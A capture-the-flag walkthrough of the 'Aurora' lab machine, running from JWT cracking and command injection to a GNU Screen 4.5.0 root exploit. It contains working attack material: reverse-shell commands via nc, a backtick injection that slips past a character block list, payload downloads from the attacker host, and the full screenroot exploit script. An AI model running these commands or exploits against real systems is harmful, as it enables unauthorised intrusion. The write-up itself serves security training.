Aurora
Port Scanning
nmap -sCV -O -p- -oA auroraSCAN -vvv 10.10.1.16
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
3000/tcp open http syn-ack ttl 64 Node.js Express framework
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Error
MAC Address: 08:00:27:1A:8B:0C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
3000/tcp HTTP
We know from nmap that this is a Node.js Express framework, but we could have also known by viewing the source of the page.
We can't use the GET method for the root directory, but can we use it for others?
dirsearch -u http://10.10.1.16:3000/ -m GET
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
[12:32:09] Starting:
Task Completed
so tried POST and we got 2 hits, login and register.
dirsearch -u http://10.10.1.16:3000/ -m POST
Extensions: php, aspx, jsp, html, js | HTTP method: POST | Threads: 25 | Wordlist size: 11460
[12:14:24] Starting:
[12:14:53] 401 - 22B - /login
[12:14:53] 401 - 22B - /login/
[12:15:04] 400 - 29B - /register
Login needs credentials, so we need to register first

Bad Request for the "role" field

Did a couple of tries to register and then searched for Node.js applications on how the register page was developed, and this medium writer even added how the request should be
After a couple of steps knew how to register. And in the end got a JWT token, which I had experience with before in Instant Machine on HTB.

We need to crack it. I will use hashcat since it can run on Windows and use my GPU, which will take less time than the VM. If you want to know the module number, view example_hashes. You can pass the first couple of characters or search JWT, and it will pop up immediately
C:\Users\abdelrazek\Downloads\hashcat-6.2.6>hashcat.exe -m 16500 jwt.txt rockyou.txt
hashcat (v6.2.6) starting
Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImxlZ2VuZCIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzQ3NzYyMjA5fQ.zYEH-0b28Lo-B3tXSg1-vyQ1G5AfSOeZu3yIFcyijZ8:nopassword
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))
Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZS...cyijZ8
Time.Started.....: Tue May 20 20:45:06 2025 (0 secs)
Time.Estimated...: Tue May 20 20:45:06 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 25519.8 kH/s (9.57ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1966080/14344384 (13.71%)
Rejected.........: 0/1966080 (0.00%)
Restore.Point....: 0/14344384 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> bragg426
Hardware.Mon.#1..: Temp: 57c Fan: 0% Util: 28% Core:1950MHz Mem:6801MHz Bus:16
Started: Tue May 20 20:44:51 2025
Stopped: Tue May 20 20:45:06 2025
Now we know the secret, but it seems like JWT.io has new standards in encoding, so I will use another site
We have an access token as an admin. But what is it for? We only had register and login. I'm using dirsearch for quick hits, but for more control, I'll use ffuf. The difference between these types of tools is how much you can control the request, speed, and ux. I used a different wordlist here and didn't get the register page, but got a new page, "execute"
ffuf -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://10.10.1.16:3000/FUZZ" -X POST
login [Status: 401, Size: 22, Words: 2, Lines: 1, Duration: 54ms]
Login [Status: 401, Size: 22, Words: 2, Lines: 1, Duration: 63ms]
execute [Status: 401, Size: 12, Words: 1, Lines: 1, Duration: 46ms]
LogIn [Status: 401, Size: 22, Words: 2, Lines: 1, Duration: 63ms]
LOGIN [Status: 401, Size: 22, Words: 2, Lines: 1, Duration: 89ms]
:: Progress: [220559/220559] :: Job [1/1] :: 1680 req/sec :: Duration: [0:03:08]
:: Errors: 15 ::
Simple request for "execute" page, we see we are not authorized

So searched how authorizations work with Node.js and JWT
Added the authorization header but now gets 500 http response, maybe because of the content-type

We get a different response code, so trying to add JSON data will be better. Now our request only needs some json data

ffuf -w /usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.1.16:3000/execute -X POST -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzQ3Nzc4NDcyfQ.tq7pEu8ImDPKTgbE_kNAUwicCIimAFDt5yv3EwN5IXw" -d '{"FUZZ":"id"}' -fs 913
command [Status: 200, Size: 54, Words: 3, Lines: 2, Duration: 146ms]
:: Progress: [6453/6453] :: Job [1/1] :: 961 req/sec :: Duration: [0:00:07]
:: Errors: 0 ::

Shell as www-data
Now we need to get a shell
nc -nvlp 9000

Upgrade TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
Ctrl-Z
stty raw -echo;fg
reset
Now, start manual enumeration for privilege escalation. Found in app.js credentials for MySQL
www-data@aurora:~$ ls -la
total 132
drwxr-xr-x 4 www-data www-data 4096 May 21 00:42 .
drwxr-xr-x 3 root root 4096 Mar 1 2023 ..
-rw-r--r-- 1 www-data www-data 3271 Mar 1 2023 app.js
-rw-r--r-- 1 www-data www-data 3169 Mar 2 2023 app.js.save
-rw------- 1 www-data www-data 153 Apr 6 2023 .bash_history
drwxr-xr-x 3 www-data www-data 4096 May 21 00:38 .local
drwxr-xr-x 127 www-data www-data 4096 Mar 1 2023 node_modules
-rw-r--r-- 1 www-data www-data 399 Mar 1 2023 package.json
-rw-r--r-- 1 www-data www-data 95944 Mar 1 2023 package-lock.json
const pool = mysql.createPool({
host: 'localhost',
user: 'admin',
password: 'zMgRthZraw6Sf',
database: 'auroraDB',
});
www-data@aurora:~$ mysql -u admin -pzMgRthZraw6Sf
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| auroraDB |
| information_schema |
+--------------------+
MariaDB [(none)]> use auroraDB;
Database changed
MariaDB [auroraDB]> show tables;
+--------------------+
| Tables_in_auroraDB |
+--------------------+
| users |
+--------------------+
MariaDB [auroraDB]> select * from users;
+----+----------+--------------+-------+
| id | username | password | role |
+----+----------+--------------+-------+
| 1 | admin | CMcvw9Q5v79Z | admin |
| 29 | legend | 123456 | user |
+----+----------+--------------+-------+
Now we have a password, maybe to spray with
www-data@aurora:~$ cat /etc/passwd | grep 'sh'
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
doro:x:1000:1000:,,,:/home/doro:/bin/bash
www-data@aurora:~$ su root
Password:
su: Authentication failure
www-data@aurora:~$ su doro
Password:
su: Authentication failure
So the password was only for the webapp, seeing the history file we found seems like www-data can run tools.py as doro
www-data@aurora:~$ cat .bash_history
clear
cd /home/doro/
clear
sudo -l
/usr/bin/python3 /home/doro/tools.py --ping
sudo -u doro /usr/bin/python3 /home/doro/tools.py --ping
clear
crontab -l
This tools.py is pinging the IP I give to it. So let's try command injection
www-data@aurora:/home/doro$ ls -la
total 36
drwxr-xr-x 4 doro doro 4096 Mar 8 2023 .
drwxr-xr-x 3 root root 4096 Mar 6 2023 ..
lrwxrwxrwx 1 root root 9 Mar 3 2023 .bash_history -> /dev/null
-rw-r--r-- 1 doro doro 220 Mar 3 2023 .bash_logout
-rw-r--r-- 1 doro doro 3526 Mar 3 2023 .bashrc
drwxr-xr-x 3 doro doro 4096 Mar 4 2023 .local
-rw-r--r-- 1 doro doro 807 Mar 3 2023 .profile
drwx------ 2 doro doro 4096 Mar 4 2023 .ssh
-rw-r--r-- 1 root root 1380 Mar 7 2023 tools.py
-rwx------ 1 doro doro 33 Mar 3 2023 user.txt
www-data@aurora:/home/doro$ sudo -u doro /usr/bin/python3 /home/doro/tools.py --ping
Enter an IP address: 10.10.1.16
PING 10.10.1.16 (10.10.1.16) 56(84) bytes of data.
64 bytes from 10.10.1.16: icmp_seq=1 ttl=64 time=0.065 ms
64 bytes from 10.10.1.16: icmp_seq=2 ttl=64 time=0.028 ms
--- 10.10.1.16 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1015ms
rtt min/avg/max/mdev = 0.028/0.046/0.065/0.018 ms
we can't use ';'
www-data@aurora:/home/doro$ sudo -u doro /usr/bin/python3 /home/doro/tools.py --ping
Enter an IP address: 1;nc 10.10.1.11 9001 -e /bin/bash
Forbidden character found: ;
Tried some of the injections i know and yeah we found that the backticks works `
www-data@aurora:/home/doro$ sudo -u doro /usr/bin/python3 /home/doro/tools.py --ping
Enter an IP address: 1\nid
ping: 1nid: Temporary failure in name resolution
www-data@aurora:/home/doro$ sudo -u doro /usr/bin/python3 /home/doro/tools.py --ping
Enter an IP address: 10.10.1.16\nid
ping: 10.10.1.16nid: Temporary failure in name resolution
www-data@aurora:/home/doro$ sudo -u doro /usr/bin/python3 /home/doro/tools.py --ping
Enter an IP address: 10.10.1.16&id
Forbidden character found: &
www-data@aurora:/home/doro$ sudo -u doro /usr/bin/python3 /home/doro/tools.py --ping
Enter an IP address: 10.10.1.16|id
Forbidden character found: |
www-data@aurora:/home/doro$ sudo -u doro /usr/bin/python3 /home/doro/tools.py --ping
Enter an IP address: 10.10.1.16&&id
Forbidden character found: &
www-data@aurora:/home/doro$ sudo -u doro /usr/bin/python3 /home/doro/tools.py --ping
Enter an IP address: 10.10.1.16||id
Forbidden character found: ||
www-data@aurora:/home/doro$ sudo -u doro /usr/bin/python3 /home/doro/tools.py --ping
Enter an IP address: 10.10.1.16$()id
Forbidden character found: (
www-data@aurora:/home/doro$ sudo -u doro /usr/bin/python3 /home/doro/tools.py --ping
Enter an IP address: 10.10.1.16``id
ping: 10.10.1.16id: Temporary failure in name resolution
Shell as doro
Let's get a shell as Doro
nc -nvlp 9001
www-data@aurora:~$ sudo -u doro /usr/bin/python3 /home/doro/tools.py --ping
Enter an IP address: `nc 10.10.1.11 9001 -e /bin/bash`
Upgrade TTY
nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.1.11] from (UNKNOWN) [10.10.1.16] 59682
python3 -c 'import pty; pty.spawn("/bin/bash")'
doro@aurora:/opt/login-app$ ^Z
[1] + 2455 suspended nc -nvlp 9001
➜ aurora stty raw -echo;fg
[1] + 2455 continued nc -nvlp 9001
export SHELL=bash
doro@aurora:/opt/login-app$ export TERM=xterm-256color
doro@aurora:/opt/login-app$ stty rows 53 columns 236
doro@aurora:/opt/login-app$ cd ~
doro@aurora:~$ ls -la
total 36
drwxr-xr-x 4 doro doro 4096 Mar 8 2023 .
drwxr-xr-x 3 root root 4096 Mar 6 2023 ..
lrwxrwxrwx 1 root root 9 Mar 3 2023 .bash_history -> /dev/null
-rw-r--r-- 1 doro doro 220 Mar 3 2023 .bash_logout
-rw-r--r-- 1 doro doro 3526 Mar 3 2023 .bashrc
drwxr-xr-x 3 doro doro 4096 Mar 4 2023 .local
-rw-r--r-- 1 doro doro 807 Mar 3 2023 .profile
drwx------ 2 doro doro 4096 Mar 4 2023 .ssh
-rw-r--r-- 1 root root 1380 Mar 7 2023 tools.py
-rwx------ 1 doro doro 33 Mar 3 2023 user.txt
From here, we can continue some manual enumeration or use any of the automated privilege escalation tools. I will use Linpeas. Now, set up a web server to transfer it to the machine
python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
doro@aurora:~$ wget 10.10.1.11:8000/linpeas.sh
--2025-05-21 01:17:46-- http://10.10.1.11:8000/linpeas.sh
Connecting to 10.10.1.11:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 840082 (820K) [text/x-sh]
Saving to: ‘linpeas.sh’
2025-05-21 01:17:46 (46.5 MB/s) - ‘linpeas.sh’ saved [840082/840082]
doro@aurora:~$ chmod +x linpeas.sh
doro@aurora:~$ ./linpeas.sh
One of the things I love to start with, if no RED/YELLOW hit is the SUID and SGID because you can run those as root. [hacktricks]
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
strace Not Found
-rwsr-xr-- 1 root messagebus 51K Oct 5 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 471K Jul 2 2022 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 55K Jan 20 2022 /usr/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 63K Feb 7 2020 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 58K Feb 7 2020 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x 1 root root 71K Jan 20 2022 /usr/bin/su
-rwsr-xr-x 1 root root 52K Feb 7 2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 44K Feb 7 2020 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 87K Feb 7 2020 /usr/bin/gpasswd
-rwsr-sr-x+ 1 root root 1.8M Mar 3 2023 /usr/bin/screen ---> GNU_Screen_4.5.0
-rwsr-xr-x 1 root root 179K Jan 14 2023 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 35K Jan 20 2022 /usr/bin/umount ---> BSD/Linux(08-1996)
╔══════════╣ SGID
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
-rwxr-sr-x 1 root crontab 43K Feb 22 2021 /usr/bin/crontab
-rwxr-sr-x 1 root ssh 347K Jul 2 2022 /usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 35K Jan 20 2022 /usr/bin/wall
-rwxr-sr-x 1 root tty 23K Jan 20 2022 /usr/bin/write.ul (Unknown SGID binary)
-rwxr-sr-x 1 root shadow 31K Feb 7 2020 /usr/bin/expiry
-rwxr-sr-x 1 root shadow 79K Feb 7 2020 /usr/bin/chage
-rwsr-sr-x+ 1 root root 1.8M Mar 3 2023 /usr/bin/screen ---> GNU_Screen_4.5.0
-rwxr-sr-x 1 root mail 23K Feb 4 2021 /usr/bin/dotlockfile
-rwxr-sr-x 1 root shadow 38K Aug 26 2021 /usr/sbin/unix_chkpwd
Here we have mount, passwd, chfn, newgrp, screen, sudo (not certainly), unmount, and write.ul (Unknown). What I do here is take each binary and see if GTFObins has any exploits for it. I will start with screen since we have it in both
Nothing interesting about it. Maybe the version has an exploit?
searchsploit GNU screen 4.5.0
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
GNU Screen 4.5.0 - Local Privilege Escalation | linux/local/41154.sh
GNU Screen 4.5.0 - Local Privilege Escalation (PoC) | linux/local/41152.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
To get the POC add -m + it's path
searchsploit -m linux/local/41154.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
Now transfer this to the machine
doro@aurora:~$ wget 10.10.1.11:8000/41154.sh
doro@aurora:~$ chmod +x 41154.sh
Shell as Root
doro@aurora:~$ ./41154.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
7 | chmod("/tmp/rootshell", 04755);
| ^~~~~
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
3 | setuid(0);
| ^~~~~~
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
4 | setgid(0);
| ^~~~~~
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
5 | seteuid(0);
| ^~~~~~~
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
6 | setegid(0);
| ^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
7 | execvp("/bin/sh", NULL, NULL);
| ^~~~~~
/tmp/rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]
/usr/bin/ld: cannot open output file /tmp/rootshell: Permission denied
collect2: error: ld returned 1 exit status
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-doro.
# id
uid=0(root) gid=0(root) groups=0(root),1000(doro)
# cd /root
# ls
root.txt
# cat root.txt
052cf26a6e7e33790391c0d869e2e40c
Beyond root
tools.py has protection for command injection, but it doesn't have a filter for backticks, which is why it worked.
Backticks are used for command substitution. which means the shell will execute the command inside the backticks and replace it with its output. [ref]

import os
import sys
def main():
if len(sys.argv) < 2:
print_help()
return
option = sys.argv[1]
if option == "--ping":
ping()
elif option == "--traceroute":
traceroute_ip()
else:
print("Invalid option.")
print_help()
def print_help():
print("Usage: python3 network_tool.py <option>")
print("Options:")
print("--ping Ping an IP address")
print("--traceroute Perform a traceroute on an IP address")
def ping():
ip_address = input("Enter an IP address: ")
forbidden_chars = ["&", ";", "(", ")", "||", "|", ">", "<", "*", "?"]
for char in forbidden_chars:
if char in ip_address:
print("Forbidden character found: {}".format(char))
sys.exit(1)
os.system('ping -c 2 ' + ip_address)
def traceroute_ip():
ip_address = input("Enter an IP address: ")
if not is_valid_ip(ip_address):
print("Invalid IP address.")
return
traceroute_command = "traceroute {}".format(ip_address)
os.system(traceroute_command)
def is_valid_ip(ip_address):
octets = ip_address.split(".")
if len(octets) != 4:
return False
for octet in octets:
if not octet.isdigit() or int(octet) < 0 or int(octet) > 255:
return False
return True
if __name__ == "__main__":
main()
Last updated
Was this helpful?